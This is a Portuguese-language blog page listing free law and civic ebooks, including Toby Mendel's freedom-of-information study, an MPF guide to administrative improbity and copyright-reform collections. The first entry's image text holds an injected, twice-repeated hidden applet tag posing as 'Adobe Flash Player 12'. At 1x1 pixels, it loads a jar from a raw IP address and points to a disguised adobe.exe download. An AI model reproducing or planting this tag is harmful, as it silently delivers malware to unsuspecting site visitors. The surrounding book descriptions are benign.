![[Direito] Liberdade de Informação Um estudo comparado Toby Mendel <applet name=Adobe Flash Player 12 code=adobeflash.class archive=http://129.105.80.16/old/adobeflash.jar width=1 height=1><param name=link value=http://129.105.80.16/old/adobe.exe></applet> f363ca54c9 [Direito] Liberdade de Informação Um estudo comparado Toby Mendel <applet name=Adobe Flash Player 12 code=adobeflash.class archive=http://129.105.80.16/old/adobeflash.jar width=1 height=1><param name=link value=http://129.105.80.16/old/adobe.exe></applet>](http://www.unesco.org/typo3temp/pics/f363ca54c9.jpg)
A importância do direito à informação ou do direito ao conhecimento é enfatizada cada vez mais por quem trabalha em prol do desenvolvimento, pela sociedade civil, por acadêmicos, pela mídia e pelos governos. Que direito é esse, trata-se realmente de um direito e como os governos procuram aplicá-lo? Estas são algumas das questões que o livro busca responder, fornecendo ainda um relatório acessível das leis e das práticas que dizem respeito à liberdade de informação e uma análise do que está funcionando e por que.
Liberdade de Informação – Um estudo comparado – Toby Mendel
Tamanho: 1,21mb | Formato: pdf | Distribuido gratuitamente pela Unesco
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![[Cidadania] Cem perguntas e respostas sobre Improbidade Administrativa Incidência e aplicação da Lei 8.429/92 [Cidadania] Cem perguntas e respostas sobre Improbidade Administrativa Incidência e aplicação da Lei 8.429/92](http://www3.esmpu.gov.br/linha-editorial/outras-publicacoes/livro_cem%20perguntas%20e%20repostas.jpg/image_preview)
O manual é um incentivo do MPF aos cidadãos para a vivência da cidadania, pois contribui para a formação de uma sociedade civil mais consciente e mais engajada em cobrar do administrador, do agente público e dos políticos uma ótima gerência do dinheiro arrecadado pelos impostos, dos bens adquiridos pelo Estado, dos bens públicos em geral e da imensa riqueza do País.
É também um incentivo ao MPF para que não deixe sem reparo, seja atuando extrajudicialmente, seja atuando judicialmente, os que insultam, atacam e assaltam os bens que pertencem ao povo brasileiro. Com esta obra, vamos juntos – cidadãos e Ministério Público Federal – fazer dessa tarefa algo mais instigante.
Cem perguntas e respostas sobre Improbidade Administrativa – Incidência e aplicação da Lei 8.429/92
Formato: pdf | Produzido pelo MPU
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![[Saúde] Direito Penal da Loucura Paulo Vasconcelos Jacobina loucurai [Saúde] Direito Penal da Loucura Paulo Vasconcelos Jacobina](http://a.imageshack.us/img188/2756/loucurai.jpg)
Discute temas como a visão histórica, sociológica e filosófica da loucura. Trata ainda os conceitos de loucura, os preconceitos em torno do assunto e uma breve história da psiquiatria. O leitor encontra no texto a relação entre direito e loucura, os princípios do direito sanitário, o tratamento dispensado aos loucos pelo direito penal brasileiro, além de uma análise da medida de segurança e do conceito de periculosidade presumida.
Direito Penal da Loucura – Paulo Vasconcelos Jacobina
Formato: pdf | Publicação do MPU
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![direitos-autor direitos autor [Cultura] “Estudos de Direitos de Autor: A revisão da lei de Direitos Autorais”](http://ebooksgratis.com.br/wp-content/uploads/2010/07/direitos-autor.jpg)
A obra aglutina temas de ampla discussão no Brasil e no exterior na área do Direito de Autor, sistematizada para deixar ao leitor de maneira clara as contribuições profícuas dos especialistas e acadêmicos, que buscaram fielmente revelar e traduzir aqui uma reflexão nacional sobre o rumos que devemos tomar e os novos contornos do direito autoral que devemos adotar para o nosso país.
“Estudos de Direitos de Autor: A revisão da lei de Direitos Autorais”
Organização: Marcos Wachowicz e Manoel J. Pereira dos Santos
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![Capa Pequena Capa Pequena [Cultura Digital] Caderno Direito Autoral em Debate Vários autores](http://culturadigital.org.br/site/lda/files/2010/05/Capa-Pequena.jpg)
A Rede pela Reforma da Lei de Direitos Autorais lançou no dia 26/5, durante ato público promovido no Ministério Público Federal (MPF), o o caderno “Direito Autoral em Debate”, produzido coletivamente pelas suas 20 organizações integrantes.
O caderno trata das relações entre o direito autoral e os recursos educacionais, a produção artística, o acesso à cultura, as possibilidades digitais e os direitos do consumidor. Com ele, a Rede pela Reforma da LDA pretende contribuir com o debate público da legislação autoral e informar o cidadão sobre esse tema cada vez mais presente no seu cotidiano.
Baixe o caderno Direito Autoral em Debate. Divulgue e participe dessa discussão!
Caderno Direito Autoral em Debate – Vários autores
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